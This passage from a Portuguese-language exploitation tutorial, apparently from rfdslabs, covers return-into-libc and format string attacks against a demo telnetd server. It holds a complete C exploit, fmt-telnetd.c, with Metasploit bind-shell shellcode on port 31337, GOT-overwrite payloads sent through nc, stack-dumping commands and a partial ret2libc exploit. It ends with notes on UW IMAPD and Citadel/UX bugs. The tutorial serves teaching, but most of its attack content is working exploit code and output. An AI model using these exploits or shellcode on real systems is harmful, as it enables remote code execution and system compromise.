sockfd = cria_conexao(host, porta);

/* enchemos com shell NOPs parte do payload, deixando espaco para o
* comando e o shellcode que ja' contem os enderecos e argumentos */


memset(payload + alinhamento, 0x20, (MAX - strlen(ret2libc_shellcode) - strlen(CMD)));

/* colocando o nosso comando logo apos os shell NOPs */

memcpy(payload + alinhamento + (MAX - strlen(ret2libc_shellcode) - strlen(CMD)), CMD, strlen(CMD));

/* copiando o shellcode para o buffer */

memcpy(payload + strlen(payload), ret2libc_shellcode, sizeof(ret2libc_shellcode));

write(sockfd, payload, strlen(payload));
fprintf(stdout, "Payload enviado!\n");
shutdown(sockfd, SHUT_RDWR);
close(sockfd);
}

int cria_conexao(char *host, unsigned int porta)
{
struct sockaddr_in conexao;
struct hostent *hbn;
int sockfd;

/* cria o nosso socket */
if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == ERRO)
{
fprintf(stderr, "Erro #%d criando socket principal: %s\n", errno, strerror(errno));
exit(ERRO);
}

/* tenta fazer um resolve no host para ver se ele existe */
if((hbn = gethostbyname(host)) == NULL)
{
fprintf(stderr, "Erro #%d gethostbyname(): Impossivel achar %s.\n", errno, host);
exit(ERRO);
}

/* preenchendo as estruturas de rede */
bzero((char *)&conexao,sizeof(conexao));
conexao.sin_family = AF_INET;
conexao.sin_port = htons(porta);
conexao.sin_addr = *((struct in_addr *)hbn->h_addr);

if(connect(sockfd,(struct sockaddr *)&conexao, sizeof(conexao)) == ERRO)
{
fprintf(stderr,"Erro #%d: %s.\n", errno, strerror(errno));
shutdown(sockfd, SHUT_RDWR);
close(sockfd);
exit(ERRO);
}

return(sockfd);
}

void uso(char *nomeprograma)
{
fprintf(stdout, "Uso: %s -h <host> -p [porta] -a [alinhamento]\n", nomeprograma);
exit(0);
}

<++ return-into-libc.c ++>

As done before, we will do the process in steps. Logically the first step will be to run the vulnerable server to make it wait for connections. The second step is to launch the attack through our exploit and the third and fourth steps are just to confirm the success of the exploit.


=== Passo 1 :: rodando o servidor ===

julio@weiddy:~/overflow/gcc-novo$ ./servidor-telnetd 
Esperando conexao...

=== Passo 2 (va' para o terminal 2) :: lancando o exploit ===

julio@weiddy:~/overflow/gcc-novo$ ./return-into-libc -h localhost 
Exploit return-into-libc para servidor-telnetd.c
Payload enviado!

=== Passo 3 (volte para o terminal 1) :: confirmando ===

Esperando conexao... 
Conexao recebida de 127.0.0.1
Autorizando usuario...
Armazenando o login do usuario...
sh: line 1: ?@†?@†ÛˇøpÙˇø: command not found <--- NOTE AQUI![!]
OK! Autorizado o usuario

Where we marked [!] we can see that our program had the flow redirected, escaped to the system shell, and executed something that had an incomprehensible "output" (NOPs + shellcode).


=== Passo 4 (volte para o terminal 2) :: confirmando novamente ===

julio@weiddy:~/overflow/gcc-novo$ ls -la teste 
-rw-r--r-- 1 julio users 9 Feb 12 18:53 teste
julio@weiddy:~/overflow/gcc-novo$ cat teste
testando

Well, as we can see our exploit was small and worked perfectly. The big problem is that in the most recent glibcs, the addresses of the functions that are useful to us, such as 'system()', 'execl()', for example, have a "00" at the end (e.g.: 0x40062200), which means that we cannot inject it into an array of characters because 0x00 ends the string. It is up to the reader to research the existing techniques for bypassing these protections or even create new ways of bypassing. If you get any satisfactory results, please contact me :)

2.2. Format string attack

In this section we will deal with format string bugs. This type of flaw gained attention around 2000, with the first public exploits being written in 1999.[*] At that time several daemons, such as LPRng and WU-FTPd, contained this type of flaw.

Nowadays format string bugs are rare because fixing them is quite simple. Even so, fortunately for us, it is still possible to find them.

[The Polish group LSD claims to have mastered the technique since 1992 but kept it secret until the late 1990s.

2.2.1. a brief recap of format string attack

Format strings are strings of characters with special formatters. For example the function 'printf()' and its family, 'syslog()' and its family, and others work this way.

From the man page of 'printf(3)', we have:

SYNOPSIS 
#include <stdio.h>
int printf(const char *format, ...);
...

We see that the number of arguments passed to 'printf()' is not fixed, with the variables that refer to each format specifier being the further arguments (the same goes for their family).

Some common format specifiers used with these functions are below:

  • %c - Format specifier for characters.
  • %d (or %i) - Format specifier for integers.
  • %f - Floating point format specifier.
  • %s - Format Specifier for strings.
  • %u - Format specifier for unsigned integers.
  • %x - Format specifier for hexadecimal.
  • %p - Format specifier that shows the argument as a pointer.

Most C books and tutorials quote and use the above specifiers a lot, and some others that will not be relevant to the understanding of the flaw. However, there is another "obscure" specifier that is rarely mentioned and will be of essential importance to the exploration, the '%n' specifier.

  • %n - Format specifier that stores in a variable the number of characters written so far.
  • %hn - If we use the '%n' specifier in combination with 'h' we are able to write a "short" (16 bits) to memory, which is only half the address.


(*) Demonstration of format specifiers

<++ teste-format.c ++> 

/* Demonstracao dos especificadores - exemplo parecido com o GSK modulo 4 */
#include <stdio.h>

int main(void)
{
char string[] = "Teste da string";
int a, i;
unsigned int b;

a = 666;
b = -23; // proposital :)
i = 0;

printf("[a]: Decimal: %d | Unsigned: %u | Hexa: %x\n", a, a, a);
printf("[a]: padded com 10 casa decimais: %.10d\n", a);
printf("[b]: Decimal: %d | Unsigned: %u | Hexa: %x\n", b, b, b);
printf("[string]: %s\n", string);
printf("Endereco de string: %p | Endereco de i: %p\n", string, &i);
printf("[%%n] Teste%n\n", &i);
printf("%d caracteres ate' antes do especificador %%n\n", i);
}

<++ teste-format.c ++>

the output is the following:

sandimas@virtualinsanity:~/rfdslabs$ ./teste-format 
[a]: Decimal: 666 | Unsigned: 666 | Hexa: 29a
[a]: padded com 10 casa decimais: 0000000666
[b]: Decimal: -23 | Unsigned: 4294967 73 | Hexa: ffffffe9
[string]: Teste da string
Endereco de string: 0xbffff6a0 | Endereco de i: 0xbffff698
[%n] Teste
10 caracteres ate' antes do especificador %n

What happens in the format string failure is that if the malicious user is able to add format specifiers without corresponding stack variables he can "dump" the program stack, possibly revealing passwords and other important information, and also redirect the flow and gain control of the system.


(*) Reading program memory ("stack dumping")

As mentioned before it is possible to read, in the type we want (string, hex, decimal) any memory area that our program is entitled to access. In this example we will show how to "dump" the stack and control where we will read.

<++ teste-format2.c ++> 

/* Exemplo para demonstracao de format string attack */

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
int i;
char buffer[32];

if(argc < 2)
exit(-1);

memset(buffer, '\0', sizeof(buffer));
i = 0;
snprintf(buffer, sizeof(buffer) - 1, argv[1]);
printf("%s\n", buffer);
printf("\n");
}

<++ teste-format2.c ++>

sandimas@virtualinsanity:~/rfdslabs$ ./teste-format2 testando1234
testando1234

sandimas@virtualinsanity:~/rfdslabs$ ./teste-format2 ABCD.%x.%x.%x.%x.%x.%x.%x
ABCD.2.44434241.34342e32.323433
^
|
----- 44434241 = ABCD, em "little endian"

[*] Equivale a printf("ABCD.%x.%x.%x.%x.%x.%x.%x"), sem argumentos a serem substituidos.

We could also use the '$' symbol for direct parameter access, very useful when we can't reach our argument even with many '%x' and '%p'. In the previous example we had to "climb" the stack through the specifiers, but now we will use this device to access the parameters directly.

sandimas@virtualinsanity:~/rfdslabs$ ./teste-format2 'ABCD.%2$x' 
ABCD.44434241

We see that 'printf()' took part of the stack's contents and translated them into hex. So what would happen if we passed a memory address instead of a simple "ABCD"? Yes! the program will read the address!

We will use "gdb" to make it easier to get the address of any environment variable.

------------------------------------------------------------ 
sandimas@virtualinsanity:~/rfdslabs$ export RFDSLABS="teste"

sandimas@virtualinsanity:~/rfdslabs$ gdb -q teste-format2
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x804842a
(gdb) r
Starting program: /home/sandimas/rfdslabs/teste-format2

Breakpoint 1, 0x0804842a in main ()
(gdb) x/50s 0xbffffffa - 100
0xbfffff96: "HORITY=/home/sandimas/.Xauthority"
0xbfffffb8: "COLORTERM=rxvt"
0xbfffffc7: "RFDSLABS=teste"
0xbfffffd6: "/home/sandimas/rfdslabs/teste-format2"
0xbffffffc: ""
0xbffffffd: ""
0xbffffffe: ""
0xbfffffff: ""
0xc0000000: <Address 0xc0000000 out of bounds>
0xc0000000: <Address 0xc0000000 out of bounds>
...
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) q

The program is running. Exit anyway? (y or n) y
------------------------------------------------------------

We see that the environment variable starts at address 0xbfffffffc7.

We will use our program to read the contents of this address:

------------------------------------------------------- 
sandimas@virtualinsanity:~/rfdslabs$ ./teste-format2 \
> `printf "\xc7\xff\xff\xbf"`'%2$s'
ˇˇøRFDSLABS=teste
-------------------------------------------------------

(*) Writing to a variable

We already know that we can write an arbitrary value to a variable. So our example will focus on the variable "integer variable" and we will change its value using '%n'.

<++ teste-format3.c ++> 

/* Exemplo para demonstracao de format string attack */

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
char buffer[32];
int variavelinteira;

if(argc < 2)
exit(-1);

memset(buffer, 0x00, sizeof(buffer));
variavelinteira = 23;

fprintf(stdout, "O valor de variavelinteira (%p) e' %d\n", &variavelinteira, variavelinteira);
snprintf(buffer, sizeof(buffer) - 1, argv[1]);
fprintf(stdout, "O valor de buffer e'");
fprintf(stdout, buffer);
fprintf(stdout, "\n");
fprintf(stdout, "O valor de variavelinteira (%p) e' %d\n", &variavelinteira, variavelinteira);
}

<++ teste-format3.c ++>

---------------------------------------------------------------
sandimas@virtualinsanity:~/rfdslabs$ ./teste-format3 'AAAA%5$p'
O valor de variavelinteira (0xbffff65c) e' 23
O valor de buffer e'AAAA0x17
O valor de variavelinteira (0xbffff65c) e' 23
sandimas@virtualinsanity:~/rfdslabs$ ./teste-format3 'AAAA%6$p'
O valor de variavelinteira (0xbffff65c) e' 23
O valor de buffer e'AAAA0x41414141
O valor de variavelinteira (0xbffff65c) e' 23
---------------------------------------------------------------

Now that we have our offset (6), we can just explore it in the way we already know it:

------------------------------------------------------ 
sandimas@virtualinsanity:~/rfdslabs$ ./teste-format3 \
> `printf "\x5c\xf6\xff\xbf"`'%6$n'
O valor de variavelinteira (0xbffff65c) e' 23
O valor de buffer e'\ˆˇø
O valor de variavelinteira (0xbffff65c) e' 4
------------------------------------------------------

Notice that the integer variable value was changed and now is 4 instead of the previous value 23! What happened is that we tricked the program to write in the variable address the amount of characters written so far (an address has 4 bytes.)

Let's imagine that a setuid root program stores the EUID (effective user id) of a user in a variable. If we had a format string failure of this type we could alter the variable and change our EUID, making the program think we are anyone on the system.


(*) Global offset table (GOT)

The GOT is used in programs that need shared libraries. It is nothing more than a table to reference the final address of library functions.

The ELF binaries access the Portable Linkage Table (which is read-only). It contains pointers that jump to the GOT (which is read/write), serving as a kind of wrapper.

For example, when a program calls the 'fgets()' function, after locating the symbol, the location is then relocated to the GOT, which will allow the process to access it through the PLT.

------------------------------------------------------------ 
sandimas@virtualinsanity:~/rfdslabs$ objdump -R teste-format

teste-format: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049770 R_386_GLOB_DAT __gmon_start__
08049780 R_386_JUMP_SLOT __libc_start_main
08049784 R_386_JUMP_SLOT printf
------------------------------------------------------------

Overwriting the GOT means that if after changing the value of a function in this table, any subsequent reference to the same function will indicate that the function has a different address than the original (in our case, the address where the shellcode will be).

2.2.2 Commented code of vulnerable server

In this section we will use the same example server as in the stack overflow exploit.

2.2.3 How to find the controlled argument and where to write

To know how to get which argument we control, we will again need to dump the contents of the stack with '%x' or '%p'. We must remember the '$' specifier mentioned in the previous topics to make our task easier.

Obviously we must have the telnetd-server running and this is the first step:

=== Passo 1 ===

sandimas@virtualinsanity:~/rfdslabs$ ./servidor-telnetd 
Esperando conexao...

Following the logic, the second step is to send our string and format specifiers to the server in order to analyze the contents, in hex, of the stack.

=== Passo 2 (va' para o terminal 2) ===

sandimas@virtualinsanity:~/rfdslabs$ nc localhost 8080 
UNIX rfdslabs.com.br version 4.5v build-1985
login: AAAA.%p.%p.%p.%p

In the third step we will see the result of the string provided by the user and this way we will know which argument we are controlling.

=== Passo 3 (volte para o terminal 1) ===

sandimas@virtualinsanity:~/rfdslabs$ ./servidor-telnetd 
Esperando conexao...
Conexao recebida de 127.0.0.1
Autorizando usuario...
Armazenando o login do usuario...
OK! Autorizado o usuario AAAA.0x20.0x41414141.0x3278302e

As we can clearly see our string, "AAAA", was shown by the program in the second argument.
We could send the request with the '$' as follows:

"AAAA.%2$p"

o retorno seria:

"OK! Autorizado o usuario AAAA.0x41414141".

This would be useful if we could not reach our argument with many '%p' for different reasons like a limit check on the amount of characters passed to the server (in this case the stack overflow addressed would not even exist), or if we had a very complex memory layout it would of course be easier to do direct parameter access.

2.2.4. small exploitation example (without code)

Now that we have all the information in hand, let's do a little test and make the server jump to the address "0xdeadbeef". We will use nothing but the system shell and some commands.

=== Passo 1 :: obter o valor de 'fprintf()' na GOT e rodar o servidor ===

sandimas@virtualinsanity:~/rfdslabs$ objdump -R servidor-telnetd | grep fprintf 
08049e78 R_386_JUMP_SLOT fprintf
sandimas@virtualinsanity:~/rfdslabs$ ./servidor-telnetd
Esperando conexao...

We will write to two consecutive addresses, so we will write to 0x08049e78 and 0x08049e7a


=== Passo 2 :: Calcular quanto vale "0xdead" e "0xbeef" em hexa-decimal ===

sandimas@virtualinsanity:~$ gdb -q 
(gdb) printf "%d\n", 0xdead
57005
(gdb) printf "%d\n", 0xbeef
48879

=== Passo 3: Explorar! ===

sandimas@virtualinsanity:~/rfdslabs$ echo \ 
> `printf "\x78\x9e\x04\x08\x7a\x9e\x04\x08"`'%.48871d%2$hn%.8126d%3$hn' \
> | nc localhost 8080
UNIX rfdslabs.com.br version 4.5v build-1985

You may be wondering why we use the numbers 48871 for "0xbeef" instead of 48879. The answer is a simple calculation 48879 - 48871 = 8, which is the number of characters written so far, which are the consecutive GOT addresses.
The number 8126 results from the decimal operation between "0xdead - 0xbeef". Remember that the value of "0xdead" has already been written, so to complete "0xbeef" we just need to do this subtraction.
Notice also the use of the %hn specifier, which writes two "shorts", only half of which are needed to write a complete address.

In short, we write "0xbeef" at 0x08049e78 and "0xdead" at 0x08049e7a.
This "upside down" writing is due to the "little endian" model of x86.


=== Passo 4: Verificar o salto para "0xdeadbeef" ===

sandimas@virtualinsanity:~/rfdslabs$ ./servidor-telnetd 
Esperando conexao...
Conexao recebida de 127.0.0.1
Autorizando usuario...
Segmentation fault (core dumped)
sandimas@virtualinsanity:~/rfdslabs$ gdb -q servidor-telnetd core
Using host libthread_db library "/lib/libthread_db.so.1".

warning: core file may not match specified executable file.
Core was generated by `./servidor-telnetd'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0xdeadbeef in ?? ()
(gdb)

(*) Where to send the shellcode and how to know where it is in memory

As with the remote stack overflow, we will send our payload along with the instructions for exploiting the format string bug.
For example, if we were exploiting an ftp server, we could store the shellcode in the "password" field, among other possible places.

sandimas@virtualinsanity:~/rfdslabs$ echo \ 
> `printf "\x78\x9e\x04\x08\x7a\x9e\x04\x08"`'%.48871d%2$hn%.8126d%3$hn' \
> `perl -e 'print "\x90"x200'` | nc localhost 8080

sandimas@virtualinsanity:~/rfdslabs$ gdb -q s rvidor-telnetd
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) break autoriza_login
Breakpoint 1 at 0x8048a82
(gdb) r
Starting program: /home/sandimas/rfdslabs/servidor-telnetd
Esperando conexao...
Conexao recebida de 127.0.0.1

Breakpoint 1, 0x08048a82 in autoriza_login ()
(gdb) x/200wx $esp-200
0xbfffec38: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffec48: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffec58: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffec68: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffec78: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffec88: 0x00000000 0x00000000 0x00000000 0x4008bc14
0xbfffec98: 0x00000000 0x00000000 0x40145ff4 0xbfffecf4
0xbfffeca8: 0xbfffecd0 0x4008ceb0 0xbfffecf4 0x40148f38
0xbfffecb8: 0x31323149 0x00000000 0x00148f49 0x400166f4
0xbfffecc8: 0xbfffece4 0x4000b1ce 0x080483c0 0x40016700
...
0xbfffee68: 0x38342e25 0x64313738 0x68243225 0x382e256e
0xbfffee78: 0x64363231 0x68243325 0x9090906e 0x90909090
0xbfffee88: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffee98: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeea8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeeb8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeec8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeed8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeee8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeef8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffef08: 0x90909090 0x90909090 0x90909090 0x90909090
---Type <return> to continue, or q <return> to quit---
0xbfffef18: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffef28: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffef38: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffef48: 0x00000a90 0x00000000 0x00000000 0x00000000
(gdb) c
Continuing.
Autorizando usuario...

Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()

Now we know where the shellcode is stored in memory, now we just send it along with the payload and that's it!
Again we will get an address from the middle, and the chosen one is 0xbfffeec8.

2.2.5. commented exploit structure

<++ fmt-telnetd.c ++> 

/* Exploit de format string para servidor-telnetd.c
*
* Valeu pela ajuda, barros :)
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netdb.h>

#define PORTA 8080
#define OFFSET 2
#define ERRO -1
#define MAX 512

#define RET 0xbfffeec8 /* endereco de retorno Slackware 10.1 */
#define RET2 0xbfffed5c /* endereco de retorno Slackware 10.2 */
#define GOT 0x08049e78 /* GOT de fprintf() */

/* Linux x86 bind shell port 31337 - from Metasploit Framework (84 bytes) */
unsigned char x86_lnx_bind[] = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99"
"\x89\xe1\xcd\x80\x96\x43\x52\x66\x68\x7a\x69"
"\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56\x89"
"\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52"
"\x56\x43\x89\xe1\xb0\x66\xcd\x80\x93\x6a\x02"
"\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52"
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x52\x53\x89\xe1\xcd\x80";

int cria_conexao(char *host, unsigned int porta);
void uso(char *nomeprograma);

int main(int argc, char *argv[])
{
char payload[MAX], *host, got[12];
int sockfd, *iptr;
unsigned int i, opcao, porta;
int offset, metade1, metade2;
long ret;

memset(payload, 0x00, sizeof(payload)); /* ze amos o nosso buffer */
host = NULL;
ret = RET;
offset = OFFSET; /* offset padrao */
porta = PORTA;

fprintf(stdout, "Exploit de format string para servidor-telnetd.c\n");

if(argc < 2)
uso(argv[0]);

while((opcao = getopt(argc, argv, "h:o:p:")) != EOF)
{
switch(opcao)
{
case 'h':
if(strlen(optarg) > 255)
{
fprintf(stderr, "Tamanho de host invalido.\n");
exit(ERRO);
}
host = optarg;
break;

case 'o':
offset = atoi(optarg);
break;

case 'p':
if(atoi(optarg) > 65535 || atoi(optarg) < 0)
{
fprintf(stderr, "Porta invalida.\n");
exit(ERRO);
}
porta = atoi(optarg);
break;

default:
uso(argv[0]);
}
}

sockfd = cria_conexao(host, porta);

/* primeira metade do endereco - 8 */
metade1 = (ret & 0x0000ffff) - 8;
/* metade2 = 65536 + segunda metade - primeira metade - 8 */
metade2 = 0x10000 + ((ret & 0xffff0000) >> 16) - metade1 - 8;

fprintf(stdout, "Usando 0x%x como endereco de retorno.\n", ret);

iptr = (int *) got;
*iptr++ = GOT;
*iptr++ = GOT + 2;
*iptr++ = 0;

snprintf(payload, sizeof(payload) - 1, "%s%%.%dd%%%d$hn%%.%dd%%%d$hn", got, metade1, offset, metade2, offset+1);
memset(payload + strlen(payload), 0x90, 256);
snprintf(payload + strlen(payload), sizeof(payload) - 1, "%s", x86_lnx_bind);

write(sockfd, payload, strlen(payload));
fprintf(stdout, "Payload enviado! Conecte em %s:31337\n", host);

shutdown(sockfd, SHUT_RDWR);
close(sockfd);
}

int cria_conexao(char *host, unsigned int porta)
{
struct sockaddr_in conexao;
struct hostent *hbn;
int sockfd;

/* fecha o programa se o socket nao for criado com sucesso */
if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == ERRO)
{
fprintf(stderr, "Erro #%d criando socket principal: %s\n", errno, strerror(errno));
exit(ERRO);
}

/* tenta fazer um resolv no host para ver se ele existe */
if((hbn = gethostbyname(host)) == NULL)
{
fprintf(stderr, "Erro #%d gethostbyname(): Impossivel achar %s.\n", errno, host);
exit(ERRO);
}

/* preenchendo as estruturas de rede */
bzero((char *)&conexao,sizeof(conexao));
conexao.sin_family = AF_INET;
conexao.sin_port = htons(porta);
conexao.sin_addr = *((struct in_addr *)hbn->h_addr);

if(connect(sockfd,(struct sockaddr *)&conexao, sizeof(conexao)) == ERRO)
{
fprintf(stderr,"Erro #%d: %s.\n", errno, strerror(errno));
shutdown(sockfd, SHUT_RDWR);
close(sockfd);
exit(ERRO);
}

return(sockfd);
}

void uso(char *nomeprograma)
{

fprintf(stdout, "Uso: %s -h <host> -p [porta] -o [offset] -b [brute force]\n", nomeprograma);
exit(0);
}

<++ fmt-telnetd.c ++>


3 Real-life" examples

In this section we will present two case studies that happened in real life. We will not go in depth or create exploits. The knowledge gained along the text is enough for a successful exploit.

3.1. UW IMAPD 10.234 remote stack overflow

The IMAPD 10.234 flaw is quite old but serves to illustrate a simple remote stack overflow vulnerability.
This vulnerability was considered extremely critical and heavily exploited around 1998. Several systems worldwide were compromised using the exploit provided by the hacker known as Cheez Whiz.


(*) Details

--------------------------------------------------------------------------- 
char *mail_auth (char *mechanism,authresponse_t resp,int argc,char *argv[])
{
char tmp[MAILTMPLEN];
AUTHENTICATOR *auth;

/* make upper case copy of mechanism name */
ucase (strcpy (tmp,mechanism)); // <--- BUG AQUI!
for (auth = mailauthenticators; auth; auth = auth->next)
if (auth->server && !strcmp (auth->name,tmp))
return (*auth->server) (resp,argc,argv);
return NIL; /* no authenticator found */
}
----- ----------------------------------------------------------------------

As we can see, the problem lies in 'strcpy()' which copies the contents of the variable "mechanism" to "tmp", which is in the stack and has a size of MAILTMPLEN, 1024 bytes (defined in the file "mail.h".) However the maximum size that can be sent by the client is TMPLEN, 8192 bytes (defined in "imapd.c"), allowing the stack overflow to occur in 'mail_auth()'.

At the time writing the exploit for this flaw was a challenge for hackers because the incoming content that would overflow the buffer was converted to uppercase -- note the 'ucase()', meaning that we would have a problem sending an ordinary shellcode. However, today there are shellcodes that go through functions that convert what is received to uppercase or lowercase.

3.2. Citadel/UX <= v6.27 Format String Vulnerability

(No System advisory version. The link is at the end of the article)

Citadel/UX is an advanced messaging system for BBS and groupware applications.
Users can connect to Citadel/UX using telnet, www or specific software. More at http://www.citadel.org.


(*) Details

There is a format string bug in the 'lprintf()' function of the 'sysdep.c' file when parsing erroneous arguments to the 'syslog()' function.

---------- sysdep.c ---------- 
108: void lprintf(enum LogLevel loglevel, const char *format, ...) {
109: va_list arg_ptr;
110: char buf[SIZ];
111:
112: va_start(arg_ptr, format);
113: vsnprintf(buf, sizeof(buf), format, arg_ptr);
114: va_end(arg_ptr);
115:
116: if (syslog_facility >= 0) {
117: if (loglevel <= verbosity) {
118: /* Hackery -IO */
119: if (CC && CC->cs_pid) {
120: memmove(buf + 6, buf, sizeof(buf) - 6);
121: snprintf(buf, 6, "[%3d]", CC->cs_pid);
122: buf[5] = ' ';
123: }
124: syslog(loglevel, buf); // <-- O BUG!
125: }
126: }
---------- sysdep.c ----------

It is possible for malicious users to enter invalid information using format specifiers in a purpose-built way, thus leading to arbitrary machine code execution or denial of service.

4. End

As we have seen throughout this article, creating remote exploits is not a big deal if you already have some experience with vuln-dev. Now with the basic idea in mind, it's just a matter of putting our hands to work to make more improvements to the exploit. It is also interesting to research other methods to make the exploit even more interesting and, mainly, reliable.

Well, I hope you enjoyed it :)

4.1. Acknowledgments

I tried to keep an impersonal tone throughout the text, but here it's impossible ;)

I would like to thank my brothers from rfdslabs, Rafael Silva, Gustavo Monteiro, Gustavo Bittencourt, Hugo Reinaldo, Jesus Sanchez-Palencia, Julio Auto and Rodrigo "nibble" Costa. They will still have to put up with me a lot :)

I'd also like to send a hug to Lucien Rocha, Jorge Pereira, Despise, Diego Bauche, George Fleury, Joaquim Correa, BoLoDoRio, Romulo Cholewa, vaxen, xgc, hash, deadsocket, Gustavo "hophet" Chagas, Carlos Barros (yaaay!), Filipe Balestra, Codak, Leandro Thomas, my colleagues at C.E.S.A.R., everyone who accesses #rfdslabs, and to those who made The Bug! Magazine possible.

Ah, I couldn't forget to mention some bands from the soundtrack of this article: Ramones, The Clash, Green Day, The Ataris, Dropkick Murphys, Cockney Rejects, Rancid, Attaque 77, Plebe Rude, Matchbox Twenty, The Wallflowers, among others that accompanied me during this journey ;)

4.2. References

  1. The Shellcoder's Handbook: Discovering and Exploiting Security Holes [Editora John Wiley & Sons | ISBN 0764544683]
  2. Hacking: The Art of Exploitation (Jon Erickson) [Editora No Starch Press | ISBN 15 3270070]
  3. Buffer Overflow Attacks: Detect, Exploit, Prevent (Foster, Osipov, Bhalla) [Editora Syngress | ISBN 1932266674]
  4. Smashing The Stack For Fun And Profit (Elias "AlephOne" Levy) (http://www.phrack.org/phrack/49/P49-14)
  5. Local Stack Overflow - Basic module (Thyago "xgc" Silva) (http://www.gotfault.net/knowledge/module/0x100/0x100-MODULE.txt)
  6. Local Stack Overflow - Advanced module (Thyago "xgc" Silva) (http://www.gotfault.net/knowledge/module/0x200/0x200-MODULE.txt)
  7. Buffer Overflows Demystified (Murat Balaban) (http://www.enderunix.org/docs/eng/bof-eng.txt)
  8. Telegenetic papers (lhall) (http://www2.telegenetic.net/papers.htm)
  9. How to hijack the Global Offset Table with pointers for root shells (c0ntex) (http://www.open-security.org/texts/6)
  10. Further advances in to exploiting vulnerable format string bugs (c0ntex) (http://www.open-security.org/texts/7)
  11. How to remotely and automatically exploit a format bug (Frederic Raynal) (http://www.security-labs.org/index.php3?page=602)
  12. Exploiting Remote Format Strings Bugs (skew) (http://skew.blackhat.ru -- o site nao se encontrava ativo enquanto este texto estava sendo escrito. Procure no cache do Google.)
  13. Beej's Guide To Network Programming (Brian "beej" Hall) (http://www.beej.us/guide/bgnet/)
  14. Re: EMERGENCY: new remote root exploit in UW imapd (Bugtraq) (http://cert.uni-stuttgart.de/archive/bugtraq/1998/07/msg00180.html)
  15. No System Group Advisory #09 - Citadel/UX <= 6.27 format string bug (CoKi) (http://www.nosystem.com.ar/advisories/advisory-09.txt)

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT